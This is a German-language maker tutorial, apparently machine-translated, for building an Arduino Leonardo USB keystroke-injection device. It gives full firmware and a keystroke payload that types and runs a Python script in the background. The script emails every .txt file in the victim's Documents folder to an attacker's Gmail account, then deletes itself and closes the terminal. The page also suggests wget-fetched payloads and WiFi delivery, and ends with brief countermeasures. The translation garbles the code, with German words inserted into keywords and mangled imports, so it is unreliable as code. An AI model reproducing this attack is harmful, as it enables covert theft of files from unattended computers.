Industrielle Fertigung
Industrielles Internet der Dinge | Industrielle Materialien | Gerätewartung und Reparatur | Industrielle Programmierung |
home  MfgRobots >> Industrielle Fertigung >  >> Manufacturing Technology >> Herstellungsprozess

Arduino Keyboard Exploit Demo (HID) und Prävention

Komponenten und Verbrauchsmaterialien

Arduino Leonardo
× 1
SD-Kartenleser
× 1
SD-Karte
× 1
Taster 3-polig (mit Widerstand)
× 1
Jumper (generisch)
× 1
USB-A auf Micro-USB-Kabel
× 1

Über dieses Projekt

In diesem Projekt werden wir einen Arduino Leonardo verwenden, um einen möglichen USB-Angriff mit HID (Humain Interface Device) zu simulieren.

Ich habe dieses Tutorial nicht erstellt, um Hackern zu helfen, sondern um Ihnen einige echte Gefahren zu zeigen und Ihnen zu zeigen, wie Sie sich vor diesen Gefahren schützen können. Dieses Gerät ist kein Gerät, das auf jeder Plattform für Hacker verwendet werden kann, es ist eher ein Proof of Concept im Detail.

Wir werden Folgendes lernen:

  • Wie man Arduino Leonardo verwendet, um die Tastatur zu emulieren
  • Daten von SD-Karten lesen
  • Wie man ein Python-Skript erstellt, das Dateien scannt und per E-Mail versendet
  • So schützen Sie sich vor USB-Hacking-Geräten

Schritt 1:Materialien

Teile:

1. Arduino leonardo

2. Micro-USB-Kartenleser

3. ein paar GB SD-Karte

4. Druckknopf wie dieses(VCC, Masse und Signal)

5. Überbrückungskabel weiblich-männlich und weiblich-weiblich

6. Micro-USB-zu-USB-Kabel

Schritt 2:Aufbau des Geräts

Lassen Sie uns vor der Bauanleitung noch einmal das Funktionsprinzip durchgehen:

Arduino leonardo kann sich wie ein Human Interface Device (HID) verhalten und kann daher Maus und Tastatur emulieren. Wir werden diese Funktion verwenden, um ein Terminal (in UBUNTU-Linux) zu öffnen und ein kleines Skript zu schreiben, das auf den Ordner /Documents innerhalb des Benutzerordners copy.txt-Dateien dort zugreift und sie per E-Mail an jemanden sendet. Wenn Sie mehr Details erfahren möchten, überprüfen Sie den nächsten Schritt.

Da es sich um ein Demogerät handelt, sind die Dinge wirklich einfach, wir werden nichts löten.

Bauanleitung

Bevor wir beginnen, überprüfen Sie die angehängten Dateien, ich habe Fritzing-Schaltpläne und alle erforderlichen Dateien angehängt

1. Bauen Sie die Komponenten zusammen:

* Stecken Sie das Micro-USB-Kabel in das Arduino

* Schließen Sie den Schlüsselschalter an das Arduino (Masse, VCC und Out-Modul an D8) an

* Verbinden Sie den Kartenleser mit dem Arduino (mit ICSP-Header). Arduino leonardo hat den ICSP-Header nicht mit digitalen Pins verbunden, daher müssen Sie den Kartenleser an den ICSP-Header anschließen. Einige Zeichnungen des ICSP finden Sie hier:https://learn.sparkfun.com/tutorials/installing-an.... Verbinden Sie den SS-Pin mit dem digitalen Pin 10

2. Holen Sie sich den Arduino-Code , Sie können mein Arduino-Repository auf Github klonen:https://github.com/danionescu0/arduino und gehen Sie zu projects/keyboard_exploit oder rufen Sie es von unten ab:

#include "Keyboard.h"#include "SPI.h"#include "SD.h"String filenameOnCard ="hack.txt";String sleepCommandStartingPoint ="Sleep::";String commandStartingPoint ="Command ::";int delayBetweenCommands =10;const int buttonPin =8; const int chipSelect =10; int previousButtonState =HIGH; Void setup () { PinMode (buttonPin, INPUT); Serial.begin (9600); Tastatur.begin(); if (!SD.begin(chipSelect)) {Serial.println("Karte fehlgeschlagen oder nicht vorhanden!"); Rückkehr; }}void loop () { Int buttonState =digitalRead (buttonPin); if ((buttonState !=previousButtonState) &&(buttonState ==HIGH)) { sdFileToKeyboard(); Serial.println ("Hochgeladen!"); Verzögerung (500); } previousButtonState =buttonState;}void sdFileToKeyboard() { Datei dataFile =SD.open(filenameOnCard); if (!dataFile) { Serial.println("Der angegebene Dateiname ist nicht auf der SD-Karte vorhanden, überprüfen Sie filenameOnCard!"); } String-Zeile; while (dataFile.available()) { line =dataFile.readStringUntil('\n'); Serial.println (Zeile); sendToKeyboard(line); } dataFile.close();}void sendToKeyboard(String line) { String workingLine =line; if (workingLine.indexOf(sleepCommandStartingPoint) !=-1) { sleepFor(line); Rückkehr; } if (workingLine.indexOf (commandStartingPoint) ==-1) { Serial.print ( "Text:"); Serial.println (line); Keyboard.println(Zeile); Drücken Sie Enter(); Rückkehr; } Serial.println ( "Befehl:"); int charPosition =commandStartingPoint.length(); int lineLength =line.length(); Arbeitszeile +=","; while (workingLine !="") { workingLine =workingLine.substring(charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition =workingLine.indexOf(","); String-Befehl =workingLine.substring(0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (Befehl! ="") { Serial.print ( "Befehl gefunden:"); Serial.println (Befehl); Keyboard.press (getCommandCode (Befehl)); Verzögerung (verzögerungBetweenCommands); } } Keyboard.releaseAll(); delay(delayBetweenCommands);}void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll();}void sleepFor(String line) { int sleepAmount =line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print ( "Schlafen für:"); Serial.println (sleepAmount); delay(sleepAmount);}char getCommandCode(String text) { char textCharacters[2]; text.toCharArray(textCharacters, 2); Zeichencode =textCharacters[0]; code =(text =="KEY_LEFT_CTRL") ? KEY_LEFT_CTRL :Code; code =(text =="KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT :Code; code =(text =="KEY_LEFT_ALT") ? KEY_LEFT_ALT :Code; code =(text =="KEY_UP_ARROW") ? KEY_UP_ARROW :Code; code =(text =="KEY_DOWN_ARROW") ? KEY_DOWN_ARROW :Code; code =(text =="KEY_LEFT_ARROW") ? KEY_LEFT_ARROW :Code; code =(text =="KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW :Code; code =(text =="KEY_RIGHT_GUI") ? KEY_RIGHT_GUI :Code; code =(text =="KEY_BACKSPACE") ? KEY_BACKSPACE :Code; code =(text =="KEY_TAB") ? KEY_TAB :Code; code =(text =="KEY_RETURN") ? KEY_RETURN :Code; code =(text =="KEY_ESC") ? KEY_ESC :Code; code =(text =="KEY_INSERT") ? KEY_INSERT :Code; code =(text =="KEY_DELETE") ? KEY_DELETE :Code; code =(text =="KEY_PAGE_UP") ? KEY_PAGE_UP :Code; code =(text =="KEY_PAGE_DOWN") ? KEY_PAGE_DOWN :Code; code =(text =="KEY_HOME") ? KEY_HOME :Code; code =(text =="KEY_END") ? KEY_END :Code; code =(text =="KEY_CAPS_LOCK") ? KEY_CAPS_LOCK :Code; code =(text =="KEY_F1") ? KEY_F1 :Code; code =(text =="KEY_F2") ? KEY_F2 :Code; code =(text =="KEY_F3") ? KEY_F3 :Code; code =(text =="KEY_F4") ? KEY_F4 :Code; code =(text =="KEY_F5") ? KEY_F5 :Code; code =(text =="KEY_F6") ? KEY_F6 :Code; code =(text =="KEY_F7") ? KEY_F7 :Code; code =(text =="KEY_F8") ? KEY_F8 :Code; code =(text =="KEY_F9") ? KEY_F9 :Code; code =(text =="KEY_F10") ? KEY_F10 :Code; code =(text =="KEY_F11") ? KEY_F1 :Code; code =(text =="KEY_F12") ? KEY_F2 :Code;

Rückkehrcode;}

3. Laden Sie den Code auf das Arduino hoch, stellen Sie sicher, dass Sie 9600 Baudrate, den seriellen Port und Arduino Leonardo auswählen

4. Formatiere die SD-Karte mit FAT16 oder FAT32

5. Wenn Sie das Github-Repository von oben geklont haben, kopieren die Datei hack.txt auf der Karte, wenn nicht, ist die Datei unten aufgeführt:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500vi hack.pySleep::300Command::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom email.MIMEMultipart import MIMEMultipartfrom email.MIMEBase import from email.MIMEBase importfrom MIMEBasefrom email.MIMEBase importfrom MIMEBasefrom email email.Utils import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass ='sender_gmail_password'to_address ='receiver_address'scan_documents_location ='Documents'subject =body ='Dateien vom gehackten Computer'header:{0} {1}\nBetreff :{2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]):msg =MIMEMultipart() msg['From'] =smtp_user msg ['To'] =COMMASPACE.join(to) msg['Date'] =formatdate(localtime=True) msg['Subject'] =Betreff msg.attach(MIMEText(text)) für Datei in Dateien:part =MIMEBase ('application', "octet-stream") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'Anhang; filename="%s"' % os.path.basename(file)) msg.attach(part) server =smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format (expanduser("~"), scan_documents_location)))Sleep::50Command::KEY_ESCSleep::100:xSleep::500nohup python hack.py &Sleep::700rm -rf hack.pySleep::400Command::KEY_LEFT_ALT,KEY_F4 

6. Bearbeiten Sie die folgenden Zeilen:

smtp_user ='sender_email_addr'smtp_pass ='sender_password'to_address ='receiver_address' 

Und durch deine E-Mail-Adressen ersetzen

7. Entfernen Sie die Karte und legen Sie sie in den Arduino-Kartenleser ein

Sketch.fzz keyboard_exploit.ino hack.txt hack.py

Schritt 3:Funktionsweise im Detail

So funktioniert der Angriff:

1. Wenn die Taste gedrückt wird, liest der Leonardo die SD-Karte mit einem SD-Kartenleser. Auf der Karte befindet sich eine spezielle Datei mit Schlüsseln und Tastenkombinationen. Der Dateiname ist "hack.txt".

Die Datei kann Rohtext enthalten und wird so wie sie ist an die Tastatur übergeben.

Es kann auch spezielle Befehle wie "Sleep::" und "Command::" enthalten.

Eine Zeile wie:

Sleep::200 bedeutet einen Schlaf von 200 ms

Eine Zeile wie:

Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, t bedeutet linke Strg gedrückt, linke Alt gedrückt, t gedrückt und alles losgelassen

Alle Sondertasten können Sie hier einsehen:https://www.arduino.cc/en/Reference/KeyboardModif...

2. Leonardo liest Zeile für Zeile, interpretiert die Befehle und emuliert die Tasten auf der Tastatur. Die Datei "hack.txt" enthält eine Schlüsselkombination, die Folgendes bewirkt (für UBUNTU-Linux):

A. öffnet ein Terminal (STRG + ALT + T)

B. öffnet eine Python-Datei zur Erstellung mit vi (schreibt "vi hack.py"

C. schreibt ein Python-Skript hinein, das alle Textdateien im Home-Ordner von Dokumenten sammelt und an eine angegebene Google Mail-Adresse sendet

D. führt die Datei im Hintergrund aus ("nohup python hack.py &")

e. löscht die Datei (rm -rf hack.py)

F. schließt das Terminal (ALT + F4)

Das Ganze läuft in wenigen Sekunden und hinterlässt keine Spuren.

Verbesserungen und Fehlerbehebung

* Sie werden vielleicht bemerkt haben, dass ich nach dem Öffnen eines Terminals die Python-Datei schreibe. ein besserer Weg dorthin ist, es irgendwo zu hosten und mit dem Befehl "wget ​​some_url" herunterzuladen und dann in hack.py umzubenennen

* Wir können auch einen vorgefertigten Exploit für das anvisierte Betriebssystem herunterladen oder ausführen

* WLAN kann zum Modul hinzugefügt werden und die Hacks können über WIFI hochgeladen werden

* Sie können Arduino Micro verwenden (das viel kleiner ist) und Exploit-Code darauf einbetten (um es kleiner zu machen)

Einschränkungen

1. Da das simulierte Gerät (Tastatur und Maus) keine Rückmeldung hat, wissen wir nicht, was nach der Ausgabe eines Befehls passiert, was bedeutet, dass wir Verzögerungen verwenden müssen. Zum Beispiel gebe ich einen Befehl zum Öffnen des Terminals aus, weiß aber nicht, wann es tatsächlich geöffnet wird, daher muss ich eine willkürliche Verzögerung angeben, um sicherzustellen, dass die eingegebenen Zeichen nicht verloren gehen.

2. Wir können auf Berechtigungsprobleme stoßen, wie z. B. keinen Zugriff auf den USB-Anschluss oder die Berechtigung, etwas zu installieren

3. Die Tippgeschwindigkeit ist bei Leonardo nicht so toll

4. Funktioniert nur auf einem bestimmten Betriebssystem (in unserem Fall UBUNTU Linux)

Im nächsten Schritt werden wir versuchen, Wege zu finden, diese Einschränkungen auszunutzen, um zu verhindern, dass unser Computer gehackt wird

Schritt 4:Gegenmaßnahmen

1. Deaktivieren von USB-Anschlüssen

- für Windows können Sie dieses Tutorial überprüfen:http://www.thewindowsclub.com/disable-enable-usb-w...

2. USB-Geräte auf die Whitelist setzen:

- für Windows:https://superuser.com/questions/1152012/block-unbl...

2. Sperren Sie Ihren Computer, wenn Sie nicht weg sind

3. Melden Sie sich nicht als Root an (erfordern Sie Passwörter für die Installation)

4. Halte dich auf dem Laufenden (automatische Updates an)

Code

  • keyboard_exploit.ino
  • Code-Snippet Nr. 1
  • Code-Snippet 2
keyboard_exploit.inoArduino
Fehler beim Öffnen der Datei.
Code-Snippet Nr. 1Nur-Text
#include "Keyboard.h"#include "SPI.h"#include "SD.h"String filenameOnCard ="hack.txt";String sleepCommandStartingPoint ="Sleep::";String commandStartingPoint ="Command::";int delayBetweenCommands =10;const int buttonPin =8; const int chipSelect =10; int previousButtonState =HIGH; Void setup () { PinMode (buttonPin, INPUT); Serial.begin (9600); Tastatur.begin(); if (!SD.begin(chipSelect)) {Serial.println("Karte fehlgeschlagen oder nicht vorhanden!"); Rückkehr; }}void loop () { Int buttonState =digitalRead (buttonPin); if ((buttonState !=previousButtonState) &&(buttonState ==HIGH)) { sdFileToKeyboard(); Serial.println ("Hochgeladen!"); Verzögerung (500); } previousButtonState =buttonState;}void sdFileToKeyboard() { Datei dataFile =SD.open(filenameOnCard); if (!dataFile) { Serial.println("Der angegebene Dateiname ist nicht auf der SD-Karte vorhanden, überprüfen Sie filenameOnCard!"); } String-Zeile; while (dataFile.available()) { line =dataFile.readStringUntil('\n'); Serial.println (Zeile); sendToKeyboard(line); } dataFile.close();}void sendToKeyboard(String line) { String workingLine =line; if (workingLine.indexOf(sleepCommandStartingPoint) !=-1) { sleepFor(line); Rückkehr; } if (workingLine.indexOf (commandStartingPoint) ==-1) { Serial.print ( "Text:"); Serial.println (line); Keyboard.println(Zeile); Drücken Sie Enter(); Rückkehr; } Serial.println ( "Befehl:"); int charPosition =commandStartingPoint.length(); int lineLength =line.length(); Arbeitszeile +=","; while (workingLine !="") { workingLine =workingLine.substring(charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition =workingLine.indexOf(","); String-Befehl =workingLine.substring(0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (Befehl! ="") { Serial.print ( "Befehl gefunden:"); Serial.println (Befehl); Keyboard.press (getCommandCode (Befehl)); Verzögerung (verzögerungBetweenCommands); } } Keyboard.releaseAll(); delay(delayBetweenCommands);}void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll();}void sleepFor(String line) { int sleepAmount =line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print ( "Schlafen für:"); Serial.println (sleepAmount); delay(sleepAmount);}char getCommandCode(String text) { char textCharacters[2]; text.toCharArray(textCharacters, 2); Zeichencode =textCharacters[0]; code =(text =="KEY_LEFT_CTRL") ? KEY_LEFT_CTRL :Code; code =(text =="KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT :Code; code =(text =="KEY_LEFT_ALT") ? KEY_LEFT_ALT :Code; code =(text =="KEY_UP_ARROW") ? KEY_UP_ARROW :Code; code =(text =="KEY_DOWN_ARROW") ? KEY_DOWN_ARROW :Code; code =(text =="KEY_LEFT_ARROW") ? KEY_LEFT_ARROW :Code; code =(text =="KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW :Code; code =(text =="KEY_RIGHT_GUI") ? KEY_RIGHT_GUI :Code; code =(text =="KEY_BACKSPACE") ? KEY_BACKSPACE :Code; code =(text =="KEY_TAB") ? KEY_TAB :Code; code =(text =="KEY_RETURN") ? KEY_RETURN :Code; code =(text =="KEY_ESC") ? KEY_ESC :Code; code =(text =="KEY_INSERT") ? KEY_INSERT :Code; code =(text =="KEY_DELETE") ? KEY_DELETE :Code; code =(text =="KEY_PAGE_UP") ? KEY_PAGE_UP :Code; code =(text =="KEY_PAGE_DOWN") ? KEY_PAGE_DOWN :Code; code =(text =="KEY_HOME") ? KEY_HOME :Code; code =(text =="KEY_END") ? KEY_END :Code; code =(text =="KEY_CAPS_LOCK") ? KEY_CAPS_LOCK :Code; code =(text =="KEY_F1") ? KEY_F1 :Code; code =(text =="KEY_F2") ? KEY_F2 :Code; code =(text =="KEY_F3") ? KEY_F3 :Code; code =(text =="KEY_F4") ? KEY_F4 :Code; code =(text =="KEY_F5") ? KEY_F5 :Code; code =(text =="KEY_F6") ? KEY_F6 :Code; code =(text =="KEY_F7") ? KEY_F7 :Code; code =(text =="KEY_F8") ? KEY_F8 :Code; code =(text =="KEY_F9") ? KEY_F9 :Code; code =(text =="KEY_F10") ? KEY_F10 :Code; code =(text =="KEY_F11") ? KEY_F1 :Code; code =(text =="KEY_F12") ? KEY_F2 :Code;

Rückkehrcode;}

Code-Snippet #2Klartext
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500vi hack.pySleep::300Command::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom email.MIMEMultipart import MIMEMultipartfrom email.MIMEBase import MIMEBasefrom emails.MIME import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass ='sender_gmail_password'to_address ='receiver_address'scan_documents_location ='Documents'subject =body ='Dateien vom gehackten Computer'header{0}\ 'From:\nBetreff :{2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]):msg =MIMEMultipart() msg['From'] =smtp_user msg['To '] =COMMASPACE.join(to) msg['Date'] =formatdate(localtime=True) msg['Subject'] =Betreff msg.attach(MIMEText(text)) für Datei in Dateien:part =MIMEBase('application ', "octet-stream") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attac hm; filename="%s"' % os.path.basename(file)) msg.attach(part) server =smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format (expanduser("~"), scan_documents_location)))Sleep::50Command::KEY_ESCSleep::100:xSleep::500nohup python hack.py &Sleep::700rm -rf hack.pySleep::400Command::KEY_LEFT_ALT,KEY_F4 
Github
https://github.com/danionescu0/arduinohttps://github.com/danionescu0/arduino

Schaltpläne

Sketch_D4S1ftXkTU.fzz
Arduino-Repository
Die Skizze befindet sich in projects/keyboard_exploithttps://github.com/danionescu0/arduino

Herstellungsprozess

  1. LCD-Animation und -Spiele
  2. DIY-Voltmeter mit Arduino und Smartphone
  3. Temperatur- und Feuchtigkeitsdatenlogger
  4. Arduino + LEDs + MIDI-Keyboard + MuseScore =Klavierlehrer
  5. Python3- und Arduino-Kommunikation
  6. Arduino- und OLED-basierte zelluläre Automaten
  7. FM-Radio mit Arduino und RDA8057M
  8. Anwesenheitssystem basierend auf Arduino und Google Spreadsheet
  9. 64-Tasten-Prototyping-Tastaturmatrix für Arduino
  10. Arduino-Rechner